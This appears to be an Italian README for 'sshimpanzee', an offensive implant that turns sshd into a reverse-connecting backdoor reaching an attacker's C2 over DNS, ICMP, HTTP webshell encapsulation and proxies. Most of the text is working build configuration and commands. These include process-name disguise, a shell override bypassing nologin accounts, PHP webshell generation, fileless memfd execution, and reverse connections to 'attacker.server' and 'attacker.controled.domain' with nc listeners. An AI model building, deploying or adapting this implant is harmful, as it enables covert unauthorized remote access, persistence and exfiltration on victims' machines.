
Impianto basato su SSHD che supporta meccanismi di tunneling per raggiungere il C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)
Sshimpanzee ti permette di costruire un server ssh reverse statico. Invece di mettersi in ascolto su una porta e attendere connessioni, il server ssh avvierà una connessione inversa verso l'IP dell'attaccante, proprio come una normale reverse shell. Sshimpanzee ti permette di sfruttare tutte le funzionalità di una normale connessione ssh, come port forwarding, proxy dinamici SOCKS o server FTP.
Ancora più importante, se una connessione diretta dalla macchina vittima al server attaccante non è possibile, fornisce diversi meccanismi di tunneling come DNS Tunnelling, ICMP Tunnelling o HTTP Encapsulation. Supporta anche proxy HTTP e SOCKS5. Un articolo tecnico è disponibile sul blog di lexfo.
sudo docker build . --output .
sudo docker build . --platform arm64 --output .
Potrebbe essere necessario abilitare la variabile d'ambiente DOCKER_BUILDKIT=1
La build viene creata sulla base del file build.yaml:
###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###
### General config
process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)
banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log
shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead
keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"
make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds
### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior
env:
if_not_set : # Variable here will be set if they do not already exists
REMOTE: 127.0.0.1
PORT: 8080
MODE: sock # MODE environment variable is used to manage the default tunnel
overwrite: # Variable here will overwrite already existent
### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here
tun:
sock:
enabled: True
icmp:
enabled: True
buildserv: True # should the corresponding ICMPTunnel server be built
raw_sock: False # build with support for raw sock for older kernels
http_enc :
enabled: True
key: # web shell key, empty will result in a new key being generated
target:
- "php" # list of language you want to generate webshells for
path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells
dns:
enabled: True
resource: sshimpanzee # DNS2TCP Resource
key: sshimpanzee # DNS2TCP key
obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
buildserv: False
qtype: TXT # Type of query used by DNS2TCP
proxysock:
enabled: True
no_build:
enabled: False
path: []
# Openssh subsystems
# man sshd_config Subsystems
subsystems:
internal_sftp: # standard sftp as provided by openssh
enabled: True # It is required for scp and sftp
name: sftp
exec: internal-sftp
is_internal: True
remote_exec: # Sshimpanzee custom subsystem
enabled: True # remote execution using fileless memfd technique
name: remote-exec
exec: internal-remote-exec
is_internal: True
python: # example of a stadard ssh subsystem
enabled: False
name: python
exec: /usr/bin/python -c "print('python code')"
is_internal: False
A runtime, il binario sshimpanzee viene configurato tramite variabili d'ambiente.
La variabile MODE permette all'utente di selezionare tra i tunnel compilati.
Ogni tunnel può essere configurato tramite variabili d'ambiente.
Ad esempio, per ottenere una classica connessione inversa verso 127.0.0.1:8080 usa il seguente comando:
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
È possibile eseguire sshimpanzee in modalità debug con -d. In modalità debug sshimpanzee rimarrà in primo piano.
Attualmente sshimpanzee supporta diversi modi per cui l'impianto può contattare il client ssh dell'attaccante:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee
Altri esempi:
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # si lega e ascolta su 127.0.0.1:8080
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Si connette al socket Unix /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Si lega e ascolta sul socket Unix /tmp/sock
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee
Altri esempi:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee
Altri esempi:
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Forza l'uso del risolutore DNS 8.8.8.8
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee
Carica il file /tuns/http_enc/proxy.php e i file sshd sul tuo server web target
Assicurati che proxy.php venga eseguito correttamente
Esegui il binario sshd sul server web
MODE=http_enc ./sshimpanzee